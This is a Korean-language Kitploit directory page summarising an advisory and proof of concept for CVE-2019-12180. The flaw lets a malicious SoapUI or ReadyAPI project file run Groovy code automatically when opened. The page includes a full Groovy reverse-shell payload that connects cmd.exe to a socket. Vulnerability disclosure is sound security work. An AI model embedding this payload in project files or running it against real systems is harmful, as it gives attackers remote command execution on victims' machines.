Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-12180 — CVE-2019-12180에 대한 권고 및 개념 증명으로, 악성 프로젝트 파일을 통해 SoapUI 및 ReadyAPI에서 임의 Groovy 코드 실행을 시연합니다. | Kitploit
도구/GitHubGitHub/0x-nope/cve-2019-12180
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHub0x-nope/cve-2019-12180

CVE-2019-12180

CVE-2019-12180에 대한 권고 및 개념 증명으로, 악성 프로젝트 파일을 통해 SoapUI 및 ReadyAPI에서 임의 Groovy 코드 실행을 시연합니다.

저장소 보기
42376년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-12180

권고 및 PoC

SoapUI와 ReadyAPI를 사용하면 Apache Groovy 언어 스크립트를 이용하여 테스트 케이스에 동적 콘텐츠를 생성하거나 추가할 수 있습니다(예: 실시간으로 타임스탬프 계산). 이러한 스크립트의 실행은 여러 방법으로 트리거될 수 있으며, 프로젝트가 저장되면 XML '프로젝트 파일' 내에 저장됩니다.

'Load Script' 함수는 프로젝트 파일이 열릴 때 (XML 프로젝트 파일의 con:afterLoadScript 요소) 추가 사용자 상호 작용 없이 실행되는 Groovy 스크립트를 생성할 수 있습니다. 이 동작은 공격자가 악용하여, 열리면 피해자 시스템에서 임의의 Groovy 코드를 실행하는 악성 프로젝트 파일을 생성할 수 있습니다. Groovy 언어를 사용하여 시스템 명령을 실행할 수 있으므로, 이 기능은 효과적으로 원격 명령을 실행하는 데 악용될 수 있습니다.

참고: 동일한 목표는 다른 Groovy 스크립트 가능 함수(예: 'Save Script')를 악용하여 달성할 수 있지만, 프로젝트 파일을 로드한 후 추가 사용자 상호 작용이 필요합니다.

취약한 애플리케이션:

  • ReadyAPI 3.0.0
  • 2.8.2 및 이전
  • SoapUI 5.5 및 이전

이 글을 작성하는 시점(2020-02-04)에서, 이는 제로데이 취약점입니다. 제안된 여러 공개 날짜가 지났으나 공급업체에서 패치 릴리즈가 없었기 때문입니다.

예제 Groovy 리버스 셸 (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):

String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

도구 다운로드